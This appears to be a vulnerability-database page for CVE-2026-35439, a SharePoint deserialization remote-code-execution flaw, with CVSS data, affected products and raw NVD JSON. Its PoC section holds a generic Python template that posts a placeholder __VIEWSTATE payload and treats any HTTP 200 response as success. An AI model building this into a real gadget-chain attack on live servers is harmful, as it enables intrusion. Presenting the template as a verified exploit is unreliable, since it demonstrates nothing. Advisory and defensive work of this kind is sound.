Security Vulnerability Report
中文
CVE-2026-35439 CVSS 8.8 HIGH

CVE-2026-35439

Published: 2026-05-12 18:17:14
Last Modified: 2026-05-13 20:53:04

Description

Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft Office SharePoint (具体受影响版本请参考微软安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 # Target URL (Example) target_url = "http://vulnerable-sharepoint/Pages/default.aspx" # Disclaimer: This is a generic template for demonstration purposes. # Real exploitation requires specific gadget chains and payload generation tools (e.g., ysoserial.net). # Example of a ViewState payload structure (Conceptual) # In a real attack, this payload would contain a serialized .NET object gadget chain. malicious_payload = "<base64_encoded_serialized_object>" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Data to be sent, often mimicking a legitimate ViewState parameter # The specific parameter name depends on the SharePoint configuration and endpoint data = { "__VIEWSTATE": malicious_payload, "__VIEWSTATEGENERATOR": "CA0B0334" } try: print("[*] Sending payload to target...") response = requests.post(target_url, data=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check the target for code execution.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35439", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:14.153", "lastModified": "2026-05-13T20:53:04.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19725.20280", "matchCriteriaId": "E9919927-DE08-4AE4-B9F6-2A83117EE14A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}